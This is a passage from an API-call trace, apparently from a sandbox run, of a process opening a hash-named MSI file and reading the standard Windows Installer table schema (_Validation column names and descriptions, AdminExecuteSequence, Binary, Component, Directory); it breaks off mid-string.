pwcsName="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10cf398 | out: ppstgOpen=0x10cf398*=0x2fcc10) returned 0x0 [0068.842] IUnknown:AddRef (This=0x2fcc10) returned 0x2 [0068.842] IStorage:Stat (in: This=0x2fcc10, pstatstg=0x10cf290, grfStatFlag=0x0 | out: pstatstg=0x10cf290) returned 0x0 [0068.842] lstrlenW (lpString="C:\\Users\\KEECFM~1\\Desktop\\fb9f0bf2b71bf576053c56cb913ea4e93581fc9d3aa9d6d8a0ae572a1622f050.msi") returned 94 [0068.843] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10cf288 | out: ppMalloc=0x10cf288*=0x7fefd6b5380) returned 0x0 [0068.843] IMalloc:Free (This=0x7fefd6b5380, pv=0x349370) [0068.843] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0068.843] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.843] IUnknown:Release (This=0x2fcc10) returned 0x1 [0068.843] IStorage:Stat (in: This=0x2fcc10, pstatstg=0x10cf210, grfStatFlag=0x1 | out: pstatstg=0x10cf210) returned 0x0 [0068.843] IStorage:Stat (in: This=0x2fcc10, pstatstg=0x10cf210, grfStatFlag=0x1 | out: pstatstg=0x10cf210) returned 0x0 [0068.843] IStorage:RemoteOpenStream (in: This=0x2fcc10, pwcsName="䡀㼿䕷䑬㹪䒲䠯", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cece0, ppstm=0x10cecf8 | out: ppstm=0x10cecf8*=0x482f44b23e6a) returned 0x0 [0068.844] CExposedStream::Stat () returned 0x0 [0068.844] IStorage:RemoteOpenStream (in: This=0x2fcc10, pwcsName="䡀㼿䕷䑬㭪䗤䠤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cece0, ppstm=0x32d860 | out: ppstm=0x32d860*=0x7fefd69e520) returned 0x0 [0068.844] CExposedStream::Stat () returned 0x0 [0068.844] CExposedStream::Read () returned 0x0 [0068.844] memcpy (in: _Dst=0x10cedb8, _Src=0x3569ac, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569b0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] CExposedStream::Read () returned 0x0 [0068.845] memcpy (in: _Dst=0x10cee40, _Src=0x356ecc, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x338830, cchWideChar=4 | out: lpWideCharStr="Name") returned 4 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569b4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cee40, _Src=0x356ed0, _Size=0x5 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=5, lpWideCharStr=0x338860, cchWideChar=5 | out: lpWideCharStr="Table") returned 5 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569b8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569bc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cee40, _Src=0x356ed5, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x338890, cchWideChar=4 | out: lpWideCharStr="Type") returned 4 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569c0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cee40, _Src=0x356ed9, _Size=0x6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x3388c0, cchWideChar=6 | out: lpWideCharStr="Column") returned 6 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569c4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cee40, _Src=0x356edf, _Size=0xb | out: _Dst=0x10cee40) returned 0x10cee40 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x33a7e0, cchWideChar=11 | out: lpWideCharStr="_Validation") returned 11 [0068.845] memcpy (in: _Dst=0x10cedb8, _Src=0x3569c8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.845] memcpy (in: _Dst=0x10cee40, _Src=0x356eea, _Size=0x5 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.845] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=5, lpWideCharStr=0x3388f0, cchWideChar=5 | out: lpWideCharStr="Value") returned 5 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569cc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356eef, _Size=0x1 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=1, lpWideCharStr=0x338920, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569d0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356ef0, _Size=0xa | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33a820, cchWideChar=10 | out: lpWideCharStr="PropertyId") returned 10 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569d4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356efa, _Size=0x13 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x2fa680, cchWideChar=19 | out: lpWideCharStr="_SummaryInformation") returned 19 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569d8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356f0d, _Size=0xb | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x33a860, cchWideChar=11 | out: lpWideCharStr="Description") returned 11 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569dc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356f18, _Size=0x3 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=3, lpWideCharStr=0x338950, cchWideChar=3 | out: lpWideCharStr="Set") returned 3 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569e0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356f1b, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338980, cchWideChar=8 | out: lpWideCharStr="Category") returned 8 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569e4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356f23, _Size=0x9 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33a8a0, cchWideChar=9 | out: lpWideCharStr="KeyColumn") returned 9 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569e8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356f2c, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x3389b0, cchWideChar=8 | out: lpWideCharStr="MaxValue") returned 8 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569ec, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.846] memcpy (in: _Dst=0x10cee40, _Src=0x356f34, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.846] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x3389e0, cchWideChar=8 | out: lpWideCharStr="Nullable") returned 8 [0068.846] memcpy (in: _Dst=0x10cedb8, _Src=0x3569f0, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f3c, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338a10, cchWideChar=8 | out: lpWideCharStr="KeyTable") returned 8 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x3569f4, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f44, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338a40, cchWideChar=8 | out: lpWideCharStr="MinValue") returned 8 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x3569f8, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f4c, _Size=0xa | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33a8e0, cchWideChar=10 | out: lpWideCharStr="Identifier") returned 10 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x3569fc, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f56, _Size=0xd | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=13, lpWideCharStr=0x33a920, cchWideChar=13 | out: lpWideCharStr="Name of table") returned 13 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x356a00, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f63, _Size=0xe | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=14, lpWideCharStr=0x33a960, cchWideChar=14 | out: lpWideCharStr="Name of column") returned 14 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x356a04, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f71, _Size=0x3 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=3, lpWideCharStr=0x338a70, cchWideChar=3 | out: lpWideCharStr="Y;N") returned 3 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x356a08, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f74, _Size=0x1e | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=30, lpWideCharStr=0x339090, cchWideChar=30 | out: lpWideCharStr="Whether the column is nullable") returned 30 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x356a0c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f92, _Size=0x1 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=1, lpWideCharStr=0x338aa0, cchWideChar=1 | out: lpWideCharStr="Y") returned 1 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x356a10, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.847] memcpy (in: _Dst=0x10cee40, _Src=0x356f93, _Size=0x15 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.847] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x2fa6d0, cchWideChar=21 | out: lpWideCharStr="Minimum value allowed") returned 21 [0068.847] memcpy (in: _Dst=0x10cedb8, _Src=0x356a14, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x356fa8, _Size=0x15 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x2fa720, cchWideChar=21 | out: lpWideCharStr="Maximum value allowed") returned 21 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a18, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x356fbd, _Size=0x36 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=54, lpWideCharStr=0x32d990, cchWideChar=54 | out: lpWideCharStr="For foreign key, Name of table to which data must link") returned 54 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a1c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x356ff3, _Size=0x24 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=36, lpWideCharStr=0x32f780, cchWideChar=36 | out: lpWideCharStr="Column to which foreign key connects") returned 36 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a20, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x357017, _Size=0xf5 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=245, lpWideCharStr=0x334ef0, cchWideChar=245 | out: lpWideCharStr="Text;Formatted;Template;Condition;Guid;Path;Version;Language;Identifier;Binary;UpperCase;LowerCase;Filename;Paths;AnyPath;WildCardFilename;RegPath;CustomSource;Property;Cabinet;Shortcut;FormattedSDDLText;Integer;DoubleInteger;TimeDate;DefaultDir") returned 245 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a24, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x35710c, _Size=0xf | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x33a9a0, cchWideChar=15 | out: lpWideCharStr="String category") returned 15 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a28, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x35711b, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x338ad0, cchWideChar=4 | out: lpWideCharStr="Text") returned 4 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a2c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x35711f, _Size=0x20 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=32, lpWideCharStr=0x3390f0, cchWideChar=32 | out: lpWideCharStr="Set of values that are permitted") returned 32 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a30, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.848] memcpy (in: _Dst=0x10cee40, _Src=0x35713f, _Size=0x15 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.848] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=21, lpWideCharStr=0x2fa770, cchWideChar=21 | out: lpWideCharStr="Description of column") returned 21 [0068.848] memcpy (in: _Dst=0x10cedb8, _Src=0x356a34, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x357154, _Size=0x14 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=20, lpWideCharStr=0x2fa7c0, cchWideChar=20 | out: lpWideCharStr="AdminExecuteSequence") returned 20 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a38, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x357168, _Size=0x6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x338b00, cchWideChar=6 | out: lpWideCharStr="Action") returned 6 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a3c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x35716e, _Size=0x42 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=66, lpWideCharStr=0x359590, cchWideChar=66 | out: lpWideCharStr="Name of action to invoke, either in the engine or the handler DLL.") returned 66 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a40, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x3571b0, _Size=0x9 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33a9e0, cchWideChar=9 | out: lpWideCharStr="Condition") returned 9 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a44, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x3571b9, _Size=0x9f | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=159, lpWideCharStr=0x359640, cchWideChar=159 | out: lpWideCharStr="Optional expression which skips the action if evaluates to expFalse.If the expression syntax is invalid, the engine will terminate, returning iesBadActionData.") returned 159 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a48, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x357258, _Size=0x8 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=8, lpWideCharStr=0x338b30, cchWideChar=8 | out: lpWideCharStr="Sequence") returned 8 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a4c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x357260, _Size=0x6c | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] CExposedStream::Read () returned 0x0 [0068.849] memcpy (in: _Dst=0x10ceeac, _Src=0x356ecc, _Size=0x3 | out: _Dst=0x10ceeac) returned 0x10ceeac [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=111, lpWideCharStr=0x3597a0, cchWideChar=111 | out: lpWideCharStr="Number that determines the sort order in which the actions are to be executed. Leave blank to suppress action.") returned 111 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a50, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x356ecf, _Size=0xf | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=15, lpWideCharStr=0x33aa20, cchWideChar=15 | out: lpWideCharStr="AdminUISequence") returned 15 [0068.849] memcpy (in: _Dst=0x10cedb8, _Src=0x356a54, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.849] memcpy (in: _Dst=0x10cee40, _Src=0x356ede, _Size=0x13 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.849] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=19, lpWideCharStr=0x2fa810, cchWideChar=19 | out: lpWideCharStr="AdvtExecuteSequence") returned 19 [0068.850] memcpy (in: _Dst=0x10cedb8, _Src=0x356a58, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.850] memcpy (in: _Dst=0x10cee40, _Src=0x356ef1, _Size=0x6 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=6, lpWideCharStr=0x338b60, cchWideChar=6 | out: lpWideCharStr="Binary") returned 6 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a5c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356ef7, _Size=0x27 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=39, lpWideCharStr=0x32f7f0, cchWideChar=39 | out: lpWideCharStr="Unique key identifying the binary data.") returned 39 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a60, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356f1e, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x338b90, cchWideChar=4 | out: lpWideCharStr="Data") returned 4 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a64, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356f22, _Size=0x1c | out: _Dst=0x10cee40) returned 0x10cee40 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=28, lpWideCharStr=0x339150, cchWideChar=28 | out: lpWideCharStr="The unformatted binary data.") returned 28 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a68, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356f3e, _Size=0x9 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33aa60, cchWideChar=9 | out: lpWideCharStr="Component") returned 9 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a6c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356f47, _Size=0x3b | out: _Dst=0x10cee40) returned 0x10cee40 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=59, lpWideCharStr=0x32b810, cchWideChar=59 | out: lpWideCharStr="Primary key used to identify a particular component record.") returned 59 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a70, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356f82, _Size=0xb | out: _Dst=0x10cee40) returned 0x10cee40 [0068.855] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=11, lpWideCharStr=0x33aaa0, cchWideChar=11 | out: lpWideCharStr="ComponentId") returned 11 [0068.855] memcpy (in: _Dst=0x10cedb8, _Src=0x356a74, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.855] memcpy (in: _Dst=0x10cee40, _Src=0x356f8d, _Size=0x4 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=4, lpWideCharStr=0x338bc0, cchWideChar=4 | out: lpWideCharStr="Guid") returned 4 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a78, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x356f91, _Size=0x3e | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=62, lpWideCharStr=0x32b8b0, cchWideChar=62 | out: lpWideCharStr="A string GUID unique to this component, version, and language.") returned 62 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a7c, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x356fcf, _Size=0xa | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=10, lpWideCharStr=0x33aae0, cchWideChar=10 | out: lpWideCharStr="Directory_") returned 10 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a80, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x356fd9, _Size=0x9 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=9, lpWideCharStr=0x33ab20, cchWideChar=9 | out: lpWideCharStr="Directory") returned 9 [0068.856] memcpy (in: _Dst=0x10cedb8, _Src=0x356a84, _Size=0x4 | out: _Dst=0x10cedb8) returned 0x10cedb8 [0068.856] memcpy (in: _Dst=0x10cee40, _Src=0x356fe2, _Size=0xd2 | out: _Dst=0x10cee40) returned 0x10cee40 [0068.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x10cee40, cbMultiByte=210, lpWideCharStr=0x3598a0, cchWideChar=210 | out: lpWideCharStr="Required key of a Directory table record. This is actually a property name whose value contains the actual path, set either by the AppSearch action or with the default 